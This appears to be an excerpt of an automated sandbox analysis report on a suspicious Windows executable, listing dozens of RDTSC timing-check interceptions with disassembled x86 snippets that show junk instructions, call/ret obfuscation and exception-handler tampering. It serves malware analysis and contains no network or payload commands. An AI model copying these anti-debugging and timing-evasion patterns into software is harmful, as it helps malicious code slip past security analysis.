Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3CFF9 second address: E3D026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D4h 0x00000007 jmp 00007F40B53604D1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D026 second address: E3D02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D02C second address: E3D030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D030 second address: E3D036 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D614 second address: E3D65F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 jbe 00007F40B53604C6h 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D2EB4h], edi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F40B53604C8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 push edx 0x00000034 jmp 00007F40B53604CEh 0x00000039 pop ebx 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D65F second address: E3D664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E63E second address: E3E648 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F40B53604CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D786 second address: E3D79D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B4517B23h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D79D second address: E3D7AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D878 second address: E3D883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F626 second address: E3F679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push eax 0x0000000b mov bx, ax 0x0000000e pop edi 0x0000000f push 00000000h 0x00000011 mov di, dx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F40B53604C8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 and bl, FFFFFFD6h 0x00000033 pushad 0x00000034 mov ebx, 57564901h 0x00000039 popad 0x0000003a xchg eax, esi 0x0000003b jng 00007F40B53604CAh 0x00000041 push eax 0x00000042 pushad 0x00000043 popad 0x00000044 pop eax 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E7F0 second address: E3E7FD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F679 second address: E3F680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F680 second address: E3F687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41494 second address: E4149A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4149A second address: E414A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F40B4517B16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42490 second address: E42510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 js 00007F40B53604DEh 0x0000000d jmp 00007F40B53604D8h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F40B53604C8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov ebx, 0B3E3CB8h 0x00000032 mov bx, E7FAh 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D1E6Ah], esi 0x0000003e push 00000000h 0x00000040 xor bx, 90D7h 0x00000045 jmp 00007F40B53604D7h 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d jl 00007F40B53604C8h 0x00000053 push edx 0x00000054 pop edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44512 second address: E44517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44517 second address: E44540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jp 00007F40B53604CCh 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44540 second address: E4457F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D2D30h], edx 0x0000000e push 00000000h 0x00000010 movsx ebx, cx 0x00000013 jno 00007F40B4517B1Ch 0x00000019 push 00000000h 0x0000001b xor bl, FFFFFF9Ah 0x0000001e xchg eax, esi 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 jmp 00007F40B4517B26h 0x00000027 pop ecx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4457F second address: E44598 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F40B53604CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44598 second address: E4459E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4169B second address: E416A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45677 second address: E456E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jno 00007F40B4517B2Eh 0x00000011 nop 0x00000012 mov dword ptr [ebp+1245B667h], ebx 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b mov dword ptr [ebp+122D1854h], edi 0x00000021 pop ebx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F40B4517B18h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e and ebx, dword ptr [ebp+122D2816h] 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E456E2 second address: E456E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E456E6 second address: E456EC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E456EC second address: E456F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45868 second address: E45872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45872 second address: E45876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45876 second address: E4587A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47889 second address: E47893 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F40B53604CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46970 second address: E4697E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F40B4517B16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47893 second address: E478AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F40B53604D2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E478AF second address: E478B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47A1E second address: E47A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47A22 second address: E47A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F40B4517B1Ch 0x00000010 jno 00007F40B4517B16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47A38 second address: E47B01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F40B53604C8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov dword ptr [ebp+1245B5D1h], edx 0x0000002a push dword ptr fs:[00000000h] 0x00000031 jmp 00007F40B53604D8h 0x00000036 mov ebx, 6E2C54D6h 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 sub dword ptr [ebp+1248ADF0h], edi 0x00000048 mov eax, dword ptr [ebp+122D0421h] 0x0000004e push 00000000h 0x00000050 push eax 0x00000051 call 00007F40B53604C8h 0x00000056 pop eax 0x00000057 mov dword ptr [esp+04h], eax 0x0000005b add dword ptr [esp+04h], 00000018h 0x00000063 inc eax 0x00000064 push eax 0x00000065 ret 0x00000066 pop eax 0x00000067 ret 0x00000068 or edi, dword ptr [ebp+122D2B32h] 0x0000006e push FFFFFFFFh 0x00000070 mov ebx, 4BB09E00h 0x00000075 nop 0x00000076 push ecx 0x00000077 push eax 0x00000078 push edx 0x00000079 jmp 00007F40B53604D8h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F26B second address: E4F270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F708 second address: E4F718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F40B53604C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F718 second address: E4F71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F71E second address: E4F764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007F40B53604C6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jnl 00007F40B53604C6h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jbe 00007F40B53604CEh 0x00000020 pushad 0x00000021 push esi 0x00000022 pop esi 0x00000023 jmp 00007F40B53604D9h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F764 second address: E4F769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5422C second address: E54252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F40B53604D3h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54252 second address: E54256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54256 second address: E5426F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5432D second address: E54331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54331 second address: E54337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5444D second address: E54452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54452 second address: E54479 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F40B53604D4h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54479 second address: E5447D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5447D second address: E5448C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5448C second address: E54490 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54490 second address: E544C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a jmp 00007F40B53604D8h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jg 00007F40B53604C6h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E545C2 second address: C6EA1D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F40B4517B16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c pushad 0x0000000d stc 0x0000000e jp 00007F40B4517B25h 0x00000014 popad 0x00000015 stc 0x00000016 push dword ptr [ebp+122D1245h] 0x0000001c cmc 0x0000001d call dword ptr [ebp+122D2DDEh] 0x00000023 pushad 0x00000024 cld 0x00000025 xor eax, eax 0x00000027 stc 0x00000028 mov edx, dword ptr [esp+28h] 0x0000002c pushad 0x0000002d push edi 0x0000002e or dword ptr [ebp+122D2BB4h], edx 0x00000034 pop edx 0x00000035 mov bh, dh 0x00000037 popad 0x00000038 mov dword ptr [ebp+122D284Eh], eax 0x0000003e cld 0x0000003f sub dword ptr [ebp+122D2BB4h], eax 0x00000045 mov esi, 0000003Ch 0x0000004a pushad 0x0000004b clc 0x0000004c mov edx, ecx 0x0000004e popad 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 mov dword ptr [ebp+122D2BB4h], edi 0x00000059 lodsw 0x0000005b jg 00007F40B4517B17h 0x00000061 add eax, dword ptr [esp+24h] 0x00000065 jmp 00007F40B4517B1Ch 0x0000006a jmp 00007F40B4517B27h 0x0000006f mov ebx, dword ptr [esp+24h] 0x00000073 clc 0x00000074 push eax 0x00000075 js 00007F40B4517B28h 0x0000007b push eax 0x0000007c push edx 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58C9A second address: E58C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5927B second address: E59298 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pushad 0x00000007 jmp 00007F40B4517B24h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59298 second address: E5929E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5941A second address: E59439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B4517B22h 0x00000009 ja 00007F40B4517B16h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59AD3 second address: E59AD9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59AD9 second address: E59ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59ADF second address: E59AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F40B53604C6h 0x0000000a je 00007F40B53604C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59D49 second address: E59D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59D4F second address: E59D5D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F40B53604C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32CED second address: E32CF7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F40B4517B16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32CF7 second address: E32D79 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F40B53604CCh 0x00000008 jno 00007F40B53604C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 mov ecx, 325D6D27h 0x00000016 lea eax, dword ptr [ebp+12497A40h] 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F40B53604C8h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 xor dword ptr [ebp+122D1CE5h], esi 0x0000003c call 00007F40B53604CFh 0x00000041 pushad 0x00000042 or ax, 64A9h 0x00000047 jns 00007F40B53604C6h 0x0000004d popad 0x0000004e pop edi 0x0000004f nop 0x00000050 jg 00007F40B53604D0h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jbe 00007F40B53604CCh 0x0000005f jno 00007F40B53604C6h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32D79 second address: E0EB02 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F40B4517B16h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D1FD4h], edx 0x00000013 call dword ptr [ebp+122D1DD4h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jne 00007F40B4517B16h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3348D second address: E3349A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F40B53604C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E334EF second address: E334F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E334F3 second address: E334FD instructions: 0x00000000 rdtsc 0x00000002 js 00007F40B53604C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E334FD second address: E33548 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F40B4517B18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007F40B4517B20h 0x00000011 xchg eax, esi 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F40B4517B18h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov edi, esi 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 je 00007F40B4517B1Ch 0x00000037 jo 00007F40B4517B16h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33548 second address: E33552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F40B53604C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33F2F second address: E33F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B4517B28h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33F4B second address: E33F5E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F40B53604C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33F5E second address: E33F64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33F64 second address: E33F88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33F88 second address: E33FBA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F40B4517B18h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push edi 0x0000000f jmp 00007F40B4517B1Dh 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F40B4517B1Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33FBA second address: E33FBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
